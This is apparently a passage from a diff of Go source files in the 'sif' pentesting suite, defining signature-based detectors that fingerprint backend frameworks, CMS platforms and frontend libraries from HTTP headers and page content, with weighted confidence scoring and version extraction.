|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
/*
|
||||
|
||||
BSD 3-Clause License
|
||||
(c) 2022-2025 vmfunc, xyzeva & contributors
|
||||
|
||||
*/
|
||||
|
||||
package detectors
|
||||
|
||||
import (
|
||||
"math"
|
||||
"net/http"
|
||||
|
||||
fw "github.com/dropalldatabases/sif/internal/scan/frameworks"
|
||||
)
|
||||
|
||||
func init() {
|
||||
// Register all backend detectors
|
||||
fw.Register(&laravelDetector{})
|
||||
fw.Register(&djangoDetector{})
|
||||
fw.Register(&railsDetector{})
|
||||
fw.Register(&expressDetector{})
|
||||
fw.Register(&aspnetDetector{})
|
||||
fw.Register(&aspnetCoreDetector{})
|
||||
fw.Register(&springDetector{})
|
||||
fw.Register(&springBootDetector{})
|
||||
fw.Register(&flaskDetector{})
|
||||
fw.Register(&symfonyDetector{})
|
||||
fw.Register(&fastapiDetector{})
|
||||
fw.Register(&ginDetector{})
|
||||
fw.Register(&phoenixDetector{})
|
||||
fw.Register(&strapiDetector{})
|
||||
fw.Register(&adonisDetector{})
|
||||
fw.Register(&cakephpDetector{})
|
||||
fw.Register(&codeigniterDetector{})
|
||||
}
|
||||
|
||||
// sigmoidConfidence converts a weighted score to a 0-1 confidence value.
|
||||
func sigmoidConfidence(score float32) float32 {
|
||||
return float32(1.0 / (1.0 + math.Exp(-float64(score)*6.0)))
|
||||
}
|
||||
|
||||
// laravelDetector detects Laravel framework.
|
||||
type laravelDetector struct {
|
||||
fw.BaseDetector
|
||||
}
|
||||
|
||||
func (d *laravelDetector) Name() string { return "Laravel" }
|
||||
|
||||
func (d *laravelDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "laravel_session", Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: "XSRF-TOKEN", Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: `<meta name="csrf-token"`, Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *laravelDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// djangoDetector detects Django framework.
|
||||
type djangoDetector struct{}
|
||||
|
||||
func (d *djangoDetector) Name() string { return "Django" }
|
||||
|
||||
func (d *djangoDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "csrfmiddlewaretoken", Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: "csrftoken", Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: "django.contrib", Weight: 0.3},
|
||||
{Pattern: "django.core", Weight: 0.3},
|
||||
{Pattern: "__admin_media_prefix__", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *djangoDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// railsDetector detects Ruby on Rails framework.
|
||||
type railsDetector struct{}
|
||||
|
||||
func (d *railsDetector) Name() string { return "Ruby on Rails" }
|
||||
|
||||
func (d *railsDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "csrf-param", Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: "csrf-token", Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: "_rails_session", Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: "ruby-on-rails", Weight: 0.3},
|
||||
{Pattern: "rails-env", Weight: 0.3},
|
||||
{Pattern: "data-turbo", Weight: 0.2},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *railsDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// expressDetector detects Express.js framework.
|
||||
type expressDetector struct{}
|
||||
|
||||
func (d *expressDetector) Name() string { return "Express.js" }
|
||||
|
||||
func (d *expressDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "Express", Weight: 0.5, HeaderOnly: true},
|
||||
{Pattern: "connect.sid", Weight: 0.3, HeaderOnly: true},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *expressDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// aspnetDetector detects ASP.NET framework.
|
||||
type aspnetDetector struct{}
|
||||
|
||||
func (d *aspnetDetector) Name() string { return "ASP.NET" }
|
||||
|
||||
func (d *aspnetDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "X-AspNet-Version", Weight: 0.5, HeaderOnly: true},
|
||||
{Pattern: "X-AspNetMvc-Version", Weight: 0.5, HeaderOnly: true},
|
||||
{Pattern: "ASP.NET", Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: "__VIEWSTATE", Weight: 0.4},
|
||||
{Pattern: "__EVENTVALIDATION", Weight: 0.3},
|
||||
{Pattern: "__VIEWSTATEGENERATOR", Weight: 0.3},
|
||||
{Pattern: ".aspx", Weight: 0.2},
|
||||
{Pattern: ".ashx", Weight: 0.2},
|
||||
{Pattern: ".asmx", Weight: 0.2},
|
||||
{Pattern: "asp.net_sessionid", Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: "X-Powered-By: ASP.NET", Weight: 0.4, HeaderOnly: true},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *aspnetDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// aspnetCoreDetector detects ASP.NET Core framework.
|
||||
type aspnetCoreDetector struct{}
|
||||
|
||||
func (d *aspnetCoreDetector) Name() string { return "ASP.NET Core" }
|
||||
|
||||
func (d *aspnetCoreDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: ".AspNetCore.", Weight: 0.5, HeaderOnly: true},
|
||||
{Pattern: "blazor", Weight: 0.4},
|
||||
{Pattern: "_blazor", Weight: 0.4},
|
||||
{Pattern: "dotnet", Weight: 0.2, HeaderOnly: true},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *aspnetCoreDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// springDetector detects Spring framework.
|
||||
type springDetector struct{}
|
||||
|
||||
func (d *springDetector) Name() string { return "Spring" }
|
||||
|
||||
func (d *springDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "org.springframework", Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: "spring-security", Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: "JSESSIONID", Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: "X-Application-Context", Weight: 0.3, HeaderOnly: true},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *springDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// springBootDetector detects Spring Boot framework.
|
||||
type springBootDetector struct{}
|
||||
|
||||
func (d *springBootDetector) Name() string { return "Spring Boot" }
|
||||
|
||||
func (d *springBootDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "spring-boot", Weight: 0.5},
|
||||
{Pattern: "actuator", Weight: 0.3},
|
||||
{Pattern: "whitelabel", Weight: 0.2},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *springBootDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// flaskDetector detects Flask framework.
|
||||
type flaskDetector struct{}
|
||||
|
||||
func (d *flaskDetector) Name() string { return "Flask" }
|
||||
|
||||
func (d *flaskDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "Werkzeug", Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: "flask", Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: "jinja2", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *flaskDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// symfonyDetector detects Symfony framework.
|
||||
type symfonyDetector struct{}
|
||||
|
||||
func (d *symfonyDetector) Name() string { return "Symfony" }
|
||||
|
||||
func (d *symfonyDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "symfony", Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: "sf_", Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: "_sf2_", Weight: 0.3, HeaderOnly: true},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *symfonyDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// fastapiDetector detects FastAPI framework.
|
||||
type fastapiDetector struct{}
|
||||
|
||||
func (d *fastapiDetector) Name() string { return "FastAPI" }
|
||||
|
||||
func (d *fastapiDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "fastapi", Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: "starlette", Weight: 0.3, HeaderOnly: true},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *fastapiDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// ginDetector detects Gin framework.
|
||||
type ginDetector struct{}
|
||||
|
||||
func (d *ginDetector) Name() string { return "Gin" }
|
||||
|
||||
func (d *ginDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "gin-gonic", Weight: 0.4},
|
||||
{Pattern: "gin", Weight: 0.2, HeaderOnly: true},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *ginDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// phoenixDetector detects Phoenix framework.
|
||||
type phoenixDetector struct{}
|
||||
|
||||
func (d *phoenixDetector) Name() string { return "Phoenix" }
|
||||
|
||||
func (d *phoenixDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "_csrf_token", Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: "phx-", Weight: 0.3},
|
||||
{Pattern: "phoenix", Weight: 0.2},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *phoenixDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// strapiDetector detects Strapi framework.
|
||||
type strapiDetector struct{}
|
||||
|
||||
func (d *strapiDetector) Name() string { return "Strapi" }
|
||||
|
||||
func (d *strapiDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "strapi", Weight: 0.4},
|
||||
{Pattern: "/api/", Weight: 0.2},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *strapiDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// adonisDetector detects AdonisJS framework.
|
||||
type adonisDetector struct{}
|
||||
|
||||
func (d *adonisDetector) Name() string { return "AdonisJS" }
|
||||
|
||||
func (d *adonisDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "adonis", Weight: 0.4},
|
||||
{Pattern: "_csrf", Weight: 0.2, HeaderOnly: true},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *adonisDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// cakephpDetector detects CakePHP framework.
|
||||
type cakephpDetector struct{}
|
||||
|
||||
func (d *cakephpDetector) Name() string { return "CakePHP" }
|
||||
|
||||
func (d *cakephpDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "cakephp", Weight: 0.4},
|
||||
{Pattern: "cake", Weight: 0.2},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *cakephpDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// codeigniterDetector detects CodeIgniter framework.
|
||||
type codeigniterDetector struct{}
|
||||
|
||||
func (d *codeigniterDetector) Name() string { return "CodeIgniter" }
|
||||
|
||||
func (d *codeigniterDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "codeigniter", Weight: 0.4},
|
||||
{Pattern: "ci_session", Weight: 0.4, HeaderOnly: true},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *codeigniterDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
@@ -0,0 +1,192 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
/*
|
||||
|
||||
BSD 3-Clause License
|
||||
(c) 2022-2025 vmfunc, xyzeva & contributors
|
||||
|
||||
*/
|
||||
|
||||
package detectors
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
|
||||
fw "github.com/dropalldatabases/sif/internal/scan/frameworks"
|
||||
)
|
||||
|
||||
func init() {
|
||||
// Register all CMS detectors
|
||||
fw.Register(&wordpressDetector{})
|
||||
fw.Register(&drupalDetector{})
|
||||
fw.Register(&joomlaDetector{})
|
||||
fw.Register(&magentoDetector{})
|
||||
fw.Register(&shopifyDetector{})
|
||||
fw.Register(&ghostDetector{})
|
||||
}
|
||||
|
||||
// wordpressDetector detects WordPress CMS.
|
||||
type wordpressDetector struct{}
|
||||
|
||||
func (d *wordpressDetector) Name() string { return "WordPress" }
|
||||
|
||||
func (d *wordpressDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "wp-content", Weight: 0.4},
|
||||
{Pattern: "wp-includes", Weight: 0.4},
|
||||
{Pattern: "wp-json", Weight: 0.3},
|
||||
{Pattern: "wordpress", Weight: 0.3},
|
||||
{Pattern: "wp-emoji", Weight: 0.2},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *wordpressDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// drupalDetector detects Drupal CMS.
|
||||
type drupalDetector struct{}
|
||||
|
||||
func (d *drupalDetector) Name() string { return "Drupal" }
|
||||
|
||||
func (d *drupalDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "Drupal", Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: "drupal.js", Weight: 0.4},
|
||||
{Pattern: "/sites/default/files", Weight: 0.3},
|
||||
{Pattern: "Drupal.settings", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *drupalDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// joomlaDetector detects Joomla CMS.
|
||||
type joomlaDetector struct{}
|
||||
|
||||
func (d *joomlaDetector) Name() string { return "Joomla" }
|
||||
|
||||
func (d *joomlaDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "Joomla", Weight: 0.4},
|
||||
{Pattern: "/media/jui/", Weight: 0.4},
|
||||
{Pattern: "/components/com_", Weight: 0.3},
|
||||
{Pattern: "joomla.javascript", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *joomlaDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// magentoDetector detects Magento CMS.
|
||||
type magentoDetector struct{}
|
||||
|
||||
func (d *magentoDetector) Name() string { return "Magento" }
|
||||
|
||||
func (d *magentoDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "Magento", Weight: 0.4},
|
||||
{Pattern: "/static/frontend/", Weight: 0.4},
|
||||
{Pattern: "mage/", Weight: 0.3},
|
||||
{Pattern: "Mage.Cookies", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *magentoDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// shopifyDetector detects Shopify platform.
|
||||
type shopifyDetector struct{}
|
||||
|
||||
func (d *shopifyDetector) Name() string { return "Shopify" }
|
||||
|
||||
func (d *shopifyDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "Shopify", Weight: 0.5},
|
||||
{Pattern: "cdn.shopify.com", Weight: 0.4},
|
||||
{Pattern: "shopify-section", Weight: 0.4},
|
||||
{Pattern: "myshopify.com", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *shopifyDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// ghostDetector detects Ghost CMS.
|
||||
type ghostDetector struct{}
|
||||
|
||||
func (d *ghostDetector) Name() string { return "Ghost" }
|
||||
|
||||
func (d *ghostDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "ghost-", Weight: 0.4},
|
||||
{Pattern: "Ghost", Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: "/ghost/api/", Weight: 0.4},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *ghostDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
@@ -0,0 +1,220 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
/*
|
||||
|
||||
BSD 3-Clause License
|
||||
(c) 2022-2025 vmfunc, xyzeva & contributors
|
||||
|
||||
*/
|
||||
|
||||
package detectors
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
|
||||
fw "github.com/dropalldatabases/sif/internal/scan/frameworks"
|
||||
)
|
||||
|
||||
func init() {
|
||||
// Register all frontend detectors
|
||||
fw.Register(&reactDetector{})
|
||||
fw.Register(&vueDetector{})
|
||||
fw.Register(&angularDetector{})
|
||||
fw.Register(&svelteDetector{})
|
||||
fw.Register(&emberDetector{})
|
||||
fw.Register(&backboneDetector{})
|
||||
fw.Register(&meteorDetector{})
|
||||
}
|
||||
|
||||
// reactDetector detects React framework.
|
||||
type reactDetector struct{}
|
||||
|
||||
func (d *reactDetector) Name() string { return "React" }
|
||||
|
||||
func (d *reactDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "data-reactroot", Weight: 0.5},
|
||||
{Pattern: "react-dom", Weight: 0.4},
|
||||
{Pattern: "__REACT_DEVTOOLS", Weight: 0.4},
|
||||
{Pattern: "react.production", Weight: 0.4},
|
||||
{Pattern: "_reactRootContainer", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *reactDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// vueDetector detects Vue.js framework.
|
||||
type vueDetector struct{}
|
||||
|
||||
func (d *vueDetector) Name() string { return "Vue.js" }
|
||||
|
||||
func (d *vueDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "data-v-", Weight: 0.5},
|
||||
{Pattern: "Vue.js", Weight: 0.4},
|
||||
{Pattern: "vue.runtime", Weight: 0.4},
|
||||
{Pattern: "vue.min.js", Weight: 0.4},
|
||||
{Pattern: "__vue__", Weight: 0.3},
|
||||
{Pattern: "v-cloak", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *vueDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// angularDetector detects Angular framework.
|
||||
type angularDetector struct{}
|
||||
|
||||
func (d *angularDetector) Name() string { return "Angular" }
|
||||
|
||||
func (d *angularDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "ng-version", Weight: 0.5},
|
||||
{Pattern: "ng-app", Weight: 0.4},
|
||||
{Pattern: "ng-controller", Weight: 0.4},
|
||||
{Pattern: "angular.js", Weight: 0.4},
|
||||
{Pattern: "angular.min.js", Weight: 0.4},
|
||||
{Pattern: "ng-binding", Weight: 0.3},
|
||||
{Pattern: "_nghost", Weight: 0.3},
|
||||
{Pattern: "_ngcontent", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *angularDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
score := base.MatchSignatures(body, headers)
|
||||
confidence := sigmoidConfidence(score)
|
||||
|
||||
var version string
|
||||
if confidence > 0.5 {
|
||||
version = fw.ExtractVersionOptimized(body, d.Name()).Version
|
||||
}
|
||||
return confidence, version
|
||||
}
|
||||
|
||||
// svelteDetector detects Svelte framework.
|
||||
type svelteDetector struct{}
|
||||
|
||||
func (d *svelteDetector) Name() string { return "Svelte" }
|
||||
|
||||
func (d *svelteDetector) Signatures() []fw.Signature {
|
||||
return []fw.Signature{
|
||||
{Pattern: "svelte", Weight: 0.4},
|
||||
{Pattern: "__svelte", Weight: 0.5},
|
||||
{Pattern: "svelte-", Weight: 0.3},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *svelteDetector) Detect(body string, headers http.Header) (float32, string) {
|
||||
base := fw.NewBaseDetector(d.Name(), d.Signatures())
|
||||
